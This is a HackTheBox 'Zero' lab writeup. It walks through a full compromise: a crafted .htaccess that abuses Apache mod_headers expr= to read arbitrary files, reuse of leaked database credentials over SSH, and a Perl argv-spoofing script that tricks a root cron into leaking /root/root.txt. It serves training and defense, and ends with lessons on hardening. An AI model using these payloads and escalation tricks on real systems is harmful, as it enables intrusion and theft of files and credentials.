HTB: Zero Writeup

Zero - HackTheBox Writeup

Machine Information

AttributeDetails
NameZero
OSLinux
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.234.62
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Zero exposes a web application that lets any visitor self-provision SFTP credentials for a personal directory served under zero.vl. That personal directory allows uploading a custom .htaccess, which — combined with Apache’s mod_headers expr= expression syntax — turns into an arbitrary root-readable file-read primitive. Leaking the site’s own PHP source disclosed hardcoded MySQL credentials that were reused for SSH, yielding the zroadmin user. Root came from a poorly-trusted maintenance script: a cron-driven zro.web-confcheck job blindly pgrep-matches a specific Apache command line and re-validates whatever configuration that process was started with, so spoofing a process’s argv (via a Perl $0 rewrite) to satisfy the pgrep pattern while pointing -d at an attacker-controlled config directory forces root’s Apache config-test to read /root/root.txt, leaking it through the resulting syntax-error log.

TL;DR: Self-service SFTP creds → malicious .htaccess (mod_headers expr=%{base64:%{file:...}}) → arbitrary file read → leak stats.php source → hardcoded zroadmin/correct-horse-battery-staple MySQL creds reused on SSH → user.txt → spoof Apache process argv via Perl $0 to hijack root’s zro.web-confcheck cron → root reads /root/root.txt as an “invalid Apache directive” → root.txt.


Reconnaissance

Port Scanning

Recon was run from a jump host against the target 10.129.234.62:

Terminal window
# Full top-3000 port/service/version scan via the jump box
nmap -Pn -A --top-ports 3000 10.129.234.62

Results: Two services of interest were found — SSH and an Apache HTTP server. The HTTP service redirected (curl -I) toward a virtual host, confirming a name-based vhost setup requiring the zero.vl Host: header for correct content.

Service Enumeration

Terminal window
# Confirm the redirect/vhost behavior
curl -s -I http://10.129.234.62/
curl -s http://10.129.234.62/
curl -s http://10.129.234.62/index.php

Walking the site surfaced a credential self-provisioning workflow:

Terminal window
curl -s http://10.129.234.62/signup.php
curl -s http://10.129.234.62/get-credentials-please-do-not-spam-this-thanks.php

Calling the credential endpoint returns a freshly generated SFTP username/password pair (e.g. zro-a39e4b23 / a16a342e) tied to a personal directory that gets served back at http://.../~<username>/ on the zero.vl vhost. The backend explicitly notes new accounts need roughly a minute to provision — the account was not immediately usable over SFTP and required a retry loop with delays before authentication succeeded.

Vulnerability Assessment

  • Self-service SFTP account creation with no abuse throttling beyond a soft “please don’t spam this” notice.
  • Each account’s public_html directory ships a default .htaccess that is fully writable by the account owner and re-parsed by the web server on every request — a classic .htaccess/AllowOverride misconfiguration surface.
  • Apache’s mod_headers module supports expr= expression syntax with %{file:...} and %{base64:...} functions, which — if AllowOverride permits Header directives in per-directory config — turns header injection into arbitrary file disclosure.

Initial Foothold

Exploitation Path

1. Obtain working SFTP credentials. After several provisioning-wait retries, credentials zro-a39e4b23 / a16a342e authenticated successfully:

Terminal window
sshpass -p 'a16a342e' sftp -o StrictHostKeyChecking=no zro-a39e4b23@10.129.234.62 <<'EOF'
cd public_html
ls -lah
get .htaccess /tmp/htaccess_orig
EOF

The default .htaccess only set an identifying header (X-Zero-Customer), confirming mod_headers was active for this per-user directory.

2. Weaponize .htaccess for arbitrary file read. Apache’s mod_headers documentation describes expr= values that can embed the file: and base64: format functions — file: reads a file’s raw contents (as the Apache worker user, effectively root-readable assets), and wrapping it in base64: keeps the leaked bytes safely inside an HTTP header value:

Terminal window
cat > /tmp/htaccess_new <<'EOF'
Header always set X-Zero-Customer 'zro-a39e4b23'
Header always set X-Leak "expr=%{base64:%{file:/etc/passwd}}"
EOF
Terminal window
sshpass -p 'a16a342e' sftp -o StrictHostKeyChecking=no zro-a39e4b23@10.129.234.62 <<'EOF'
cd public_html
rm .htaccess
put /tmp/htaccess_new .htaccess
EOF
Terminal window
# Verify the leak — Host header is required because Zero is name-based vhosted
curl -s -I -H 'Host: zero.vl' http://10.129.234.62/~zro-a39e4b23/

The response’s X-Leak header carried a base64 blob that decoded to /etc/passwd, confirming arbitrary root-readable file disclosure via the web server process.

3. Pivot the read to the application’s own source. The same technique was repointed at the site’s PHP to look for hardcoded secrets:

Terminal window
cat > /tmp/htaccess_new2 <<'EOF'
Header always set X-Zero-Customer 'zro-a39e4b23'
Header always set X-Leak "expr=%{base64:%{file:/var/www/html/stats.php}}"
EOF

Decoding the returned header:

Terminal window
echo '<base64 blob>' | base64 -d

stats.php contained a hardcoded MySQL connection:

$mysqli = new mysqli("localhost", "zroadmin", "correct-horse-battery-staple", "zro");

Why this works: the per-account .htaccess is trusted content the web server re-evaluates on every request to that path (AllowOverride permits Header there), and mod_headers’s expr= expression parser happily dereferences arbitrary filesystem paths under %{file:...} with no path restriction tied to the requesting vhost/user — a design gap, not a memory-safety bug, so no CVE applies here.

4. Credential reuse to SSH. The MySQL password was tried directly against SSH for the application-owning account:

Terminal window
sshpass -p 'correct-horse-battery-staple' ssh -o StrictHostKeyChecking=no zroadmin@10.129.234.62 'id; hostname; cat /home/zroadmin/user.txt'

Login succeeded — zroadmin had reused the same string as their MySQL and SSH password.

user.txt: <redacted>

Privilege Escalation

With a zroadmin shell, the next objective was the root-owned automation that manages Apache’s configuration.

1. Locate the maintenance script. Enumeration of scheduled jobs and /usr/local/bin turned up zro.web-confcheck, a root-run script (confirmed via a scheduled-task listing on the box):

Terminal window
cat /usr/local/bin/zro.web-confcheck

The script’s logic (paraphrased from what was retrieved on-box): it uses pgrep -lfa to find a process matching the literal running Apache command line — /opt/zroweb/sbin/apache2 ... -k start ... -d /opt/zroweb/conf — takes that exact command line, substitutes apache2 → apache2ctl and appends -t (config syntax test), then runs it and reports pass/fail. Crucially, it trusts the process’s own reported command line (argv) verbatim rather than an independently pinned path — anyone who can spawn a process whose argv matches the pgrep pattern, with a trailing -d <attacker-directory> overriding ServerRoot, gets root’s Apache config-test binary to load a config directory they control.

2. Stage a poisoned Apache config. The full system config was copied into a writable, zroadmin-owned directory and modified to include the root flag as if it were an Apache directive:

Terminal window
cp -r /etc/apache2/ /home/zroadmin/apache2
sed -i '1i Include /root/root.txt' /home/zroadmin/apache2/apache2.conf

Why Include /root/root.txt works as a leak primitive: apache2ctl -t parses every included file as Apache config syntax. /root/root.txt is not valid Apache config (it’s a flag string), so the syntax check fails — but not before Apache’s error log records the exact offending line content, i.e., the flag itself, verbatim, in the “Syntax error … Invalid command” message.

3. Spoof the process argv to satisfy pgrep. A pgrep -lfa match is based on the process’s argv as reported via /proc/<pid>/cmdline, which a process can freely rewrite at runtime. A small Perl script assigns to the magic $0 variable to overwrite its own visible command line so it matches the required pattern, while appending a second -d (later -d wins, overriding ServerRoot) pointing at the poisoned config directory, plus -E to redirect Apache’s error log somewhere readable:

#!/usr/bin/perl
$0 = "/opt/zroweb/sbin/apache2 -k start -d /opt/zroweb/conf -d /home/zroadmin/apache2 -E log.txt";
sleep(100000);
Terminal window
nohup perl /home/zroadmin/root.pl &

4. Trigger the cron and read the leak. The root-owned zro.web-confcheck job runs periodically (also observed to be triggerable via the site’s account-provisioning endpoint). Once it fired against the spoofed process, it invoked apache2ctl -t with ServerRoot pointed at the poisoned directory:

Terminal window
# Poll for the cron-triggered log write
cat /home/zroadmin/apache2/log.txt

The resulting Apache syntax-error message disclosed the contents of /root/root.txt directly in the log output:

root.txt: <redacted>

Attack Chain Summary

Self-service SFTP credential provisioning
↓
SFTP upload of malicious .htaccess (mod_headers expr=%{base64:%{file:...}})
↓
Arbitrary root-readable file disclosure via HTTP response headers
↓
Leak /var/www/html/stats.php → hardcoded zroadmin MySQL credentials
↓
Credential reuse: zroadmin / correct-horse-battery-staple → SSH → user.txt
↓
Copy /etc/apache2 config, prepend "Include /root/root.txt"
↓
Perl $0 argv spoof to satisfy root's zro.web-confcheck pgrep pattern
↓
Extra -d ServerRoot override points root's apache2ctl -t at poisoned config
↓
Apache config-syntax-error log discloses /root/root.txt → root.txt

Tools Used

ToolPurpose
nmapPort/service/version scanning
curlHTTP enumeration, vhost testing, header-based file-read exfil
sftp / sshpassSelf-provisioned credential upload of the malicious .htaccess
sshCredential-reuse foothold and post-exploitation shell
base64Decoding leaked file contents from HTTP response headers
perl$0 argv-spoofing to hijack the root cron’s pgrep match
Apache mod_headers (expr=)Core exploitation primitive for arbitrary file read

Key Learnings

Techniques Practiced

  • Abusing Apache mod_headers expr= expression syntax (%{file:...}, %{base64:...}) for arbitrary file disclosure via a writable .htaccess
  • Turning leaked PHP source into hardcoded-credential discovery
  • Credential reuse across MySQL and SSH accounts
  • Linux process argv spoofing (Perl $0 assignment) to defeat a pgrep-based command-line integrity check
  • Abusing Apache’s -d/ServerRoot and Include directives to force root’s own config-validation tooling to read and disclose an arbitrary root-owned file

Lessons Learned

  1. Any .htaccess-writable directory where mod_headers is permitted under AllowOverride is a potential arbitrary file-read primitive — restricting AllowOverride (or disallowing Header there) is essential when serving user-controlled .htaccess content.
  2. Hardcoded database credentials in application source are a single point of failure once any file-read primitive exists against the webroot — and password reuse across services (MySQL and SSH here) turns one leak into a full account compromise.
  3. Trusting a process’s self-reported command line (via pgrep -lfa / /proc/<pid>/cmdline) as an integrity signal is fundamentally unsound — argv is attacker-controlled and trivially spoofed (e.g., Perl’s $0), so privileged automation must never key security decisions off it.
  4. Apache’s “last flag wins” argument parsing (a second -d silently overriding the first) is a subtle but powerful primitive for redirecting a privileged process’s configuration root when its full command line can be influenced or matched loosely.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • Zero — HackTheBox Official Writeup by ctrlzero (machine author: jkr), used here for explanatory context on the mod_headers expr= file-read technique and the zro.web-confcheck cron design — all IPs, credentials, and command output above are from this run’s own solve, not the reference.